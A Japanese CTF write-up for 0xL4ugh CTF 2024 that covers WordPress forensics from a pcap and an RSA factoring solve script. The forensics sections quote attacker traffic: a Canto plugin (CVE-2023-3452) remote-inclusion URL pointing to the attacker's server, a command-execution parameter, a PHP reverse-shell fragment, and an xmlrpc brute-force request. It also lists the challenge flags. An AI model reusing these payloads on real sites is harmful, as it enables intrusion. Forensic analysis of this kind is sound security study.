この大会は2024/2/9 22:00(JST)~2024/2/10 22:00(JST)に開催されました。
今回もチームで参戦。結果は260点で614チーム中128位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome (Misc)
Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。
0xL4ugh{Welc0m3_To_0xL4ughCTF_2024}
WordPress - 1 (Forensics)
問題は、以下のようになっている。
Q1. 2 人の攻撃者が私たちの環境に侵入しようとしていました。被害者の IP アドレスは何ですか? 最初の攻撃者の IP アドレスは何ですか? Q2. 私たちの環境にデプロイされている Apache サーバーと PHP サーバーのバージョンは何ですか?
pcapが添付されている。まずhttpでフィルタリングする。
被害者のIPアドレスはHTTPでアクセスされている192.168.204.128。最初の攻撃者のIPアドレスはHEADメソッドでアクセスしている192.168.204.132。
No.25のパケットに、ApacheやPHPのバージョンが含まれている。
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
0xL4ugh{192.168.204.128_192.168.204.132_apache2.4.58_php8.2.12}
WordPress - 2 (Forensics)
問題は、以下のようになっている。
Q1.攻撃者は列挙中に、サイト上のユーザーを特定しようとしました。 攻撃者が列挙したすべてのユーザーをリストしてください。 アルファベット順に並べ替え":" で区切ってください。 Q2.列挙後、すべてのユーザーに対してブルート フォース攻撃が開始されました。攻撃者はアカウントの 1 つへのアクセスに成功しました。 そのアカウントのユーザー名とパスワードは何ですか?また、ブルート フォース攻撃に使用されたページの名前は何ですか?
usersで検索すると、No.88288で以下のパスにアクセスしている。
/wordpress/?author=1
以下のパスにリダイレクトされる。
/wordpress/author/a1l4m/
/wordpress/?author=2 は /wordpress/author/not7amoksha/にリダイレクトされる。
/wordpress/?author=3 にアクセスすると、demomorganのページになっている。
サイト上のユーザは以下の3名であるとわかる。
a1l4m, not7amoksha, demomorgan
No.136383から以下のページを使ってブルートフォースしている。
/wordpress/xmlrpc.php
No.147339で以下をPOSTしたときに成功しているようだ。
<?xml version" = ""1.0" ?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param> <value> <string>demomorgan</string> </value> </param> <param> <value> <string>demomorgan</string> </value> </param> </params> </methodCall>
0xL4ugh{a1l4m:demomorgan:not7amoksha_demomorgan:demomorgan_xmlrpc.php}
WordPress - 3 (Forensics)
問題は、以下のようになっている。
Q1.攻撃者が攻撃に使用したツールの名前をアルファベット順で並べてください。 Q2.攻撃者が悪用した脆弱なプラグインが存在しました。 攻撃者の C2 サーバーは何ですか?またプラグインの名前は何ですか? Q3.脆弱なプラグインのバージョンは何ですか?また、そのプラグインに関連付けられている CVE 番号は何ですか?
最初の方では、攻撃者からのアクセスのUser-Agentを見ると以下のようになっている。
WPScan v3.8.25 (https://wpscan.com/wordpress-security-scanner)
また最後の方にURLのパスにSQLインジェクションしているようなパスがあり、User-Agentを見ると以下のようになっている。
sqlmap/1.7.12#stable (https://sqlmap.org)
No.145191のパケットで、リバースシェルを取得しているようなパスがある。
/wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000
レスポンスには以下のようなメッセージがある。
Successfully opened reverse shell to 172.26.211.155:1234\n
C2サーバは172.26.211.155。エクスプロイトを調べたら、以下のページが見つかった。
https://github.com/leoanggal1/CVE-2023-3452-PoC
対象となるプラグインのバージョンは3.0.4以下。
0xL4ugh{sqlmap_wpscan_172.26.211.155_Canto_3.0.4_CVE-2023-3452}
WordPress - 4 (Forensics)
問題は、以下のようになっている。
Q1.攻撃者がエクスプロイトをテストした関数の名前は何ですか? 攻撃者のサーバーの名前とバージョンは何ですか? Q2.攻撃中にログオンしていたユーザー名 (ドメインを含む) は何ですか? Q3.攻撃者はリバース シェルをアップロードしようとしました。 IP とポートを並べてください。 リバースシェルのプロセス中に障害となったコマンドは何ですか?
最初にC2サーバへのアクセスがあったのはNo.137044のパケット。そのレスポンスは以下のようになっている。
Server: SimpleHTTP/0.6 Python/3.10.12 Data: <?php phpinfo(); ?>
No.138545のパケットに/wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=whoamiへのアクセスがあり、そのレスポンスは以下のようになっている。
desktop-2r3ar22\administrator
No.145200のパケットにリバースシェルが含まれている。
<?php set_time_limit (0); $VERSION = "1.0"; $ip = '172.26.211.155'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; : ?>
tcp.port==1234でフィルタリングする。あまり通信はないが、以下のメッセージが見つかる。
'uname' is not recognized as an internal or external command, operable program or batch file.
0xL4ugh{phpinfo()_SimpleHTTP/0.6_desktop-2r3ar22\administrator_172.26.211.155:1234_uname}
RSA-GCD (Crypto)
暗号化処理の概要は以下の通り。
・m: フラグの数値化したもの ・n = p * q (p, q不明) ・power1: 128ビット素数 ・power2: 128ビット素数 ・out1 = pow((p+5*q), power1, n) ・out2 = pow((2*p-3*q), power2, n) ・eq1: out1の次の素数 ・c = pow(m, eq1, n) ・power1, power2, eq1, out2, c, nを出力
以下のように式を変形できる。
out1 = pow((p+5*q), power1, n) = (pow(p, power1, n) + pow(5, power1, n) * pow(q, power1, n)) % n out2 = pow((2*p-3*q), power2, n) = (pow(2, power2, n) * pow(p, power2, n) - pow(3, power2, n) * pow(q, power2, n)) % n
さらにpower3 = power1 * power2とすると、以下が言える。
pow(out1, power2, n) = pow((p+5*q), power3, n) = (pow(p, power3, n) + pow(5, power3, n) * pow(q, power3, n)) % n pow(out2, power1, n) = pow((2*p-3*q), power3, n) = (pow(2, power3, n) * pow(p, power3, n) - pow(3, power3, n) * pow(q, power3, n)) % n
pow(p, power3, n)とpow(q, power3, n)の連立方程式となる。なお、hintをout1とeq1の差であると推測して計算する。
pow(p, power3, n)とnのGCDはpになるので、pを算出できる。あとは通常通り復号すれば、フラグになる。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('chall2.txt', 'r') as f: params = f.read().splitlines() power1 = int(params[0].split('=')[1]) power2 = int(params[1].split('=')[1]) hint = int(params[2].split('=')[1]) eq1 = int(params[3].split('=')[1]) out2 = int(params[4].split('=')[1]) c = int(params[5].split('=')[1]) n = int(params[6].split('=')[1]) out1 = eq1 - hint power3 = power1 * power2 C1 = pow(out1, power2, n) C2 = pow(out2, power1, n) C = matrix(Zmod(n), [[C1], [C2]]) M = matrix(Zmod(n), [[1, pow(5, power3, n)], [pow(2, power3, n), - pow(3, power3, n)]]) P = M.inverse() * C p = GCD(P[0][0], n) q = GCD(P[1][0], n) assert p * q == n phi = (p - 1) * (q - 1) d = int(pow(eq1, -1, phi)) m = pow(c, d, n) flag= long_to_bytes(m).decode() print(flag)
0xL4ugh{you_know_how_factor_N!}